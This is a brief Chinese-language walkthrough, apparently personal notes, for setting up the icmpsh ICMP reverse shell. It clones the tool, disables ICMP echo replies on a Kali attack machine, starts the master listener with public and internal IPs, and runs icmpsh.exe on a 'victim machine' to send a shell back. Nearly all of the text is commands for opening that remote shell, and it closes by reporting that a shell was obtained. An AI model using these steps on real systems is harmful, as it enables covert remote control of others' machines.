下载地址:
https://github.com/inquisb/icmpsh#usage
kali下载
git clone https://github.com/inquisb/icmpsh.git
安装依赖包
apt-get install python-impacket
关闭本地ICMP的应答,否则shell会不稳定
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后./run.sh运行 按提示输入目标主机的公网ip地址
然后报错了。。暂时不知道原因,换种方法启动
攻击机器输入命令
./icmpsh_m.py 外网IP 内网IP
等待建立连接。在受害机器上面输入下面命令:
icmpsh.exe -t 外网IP -d 500 -b30 -s 128
成功返回shell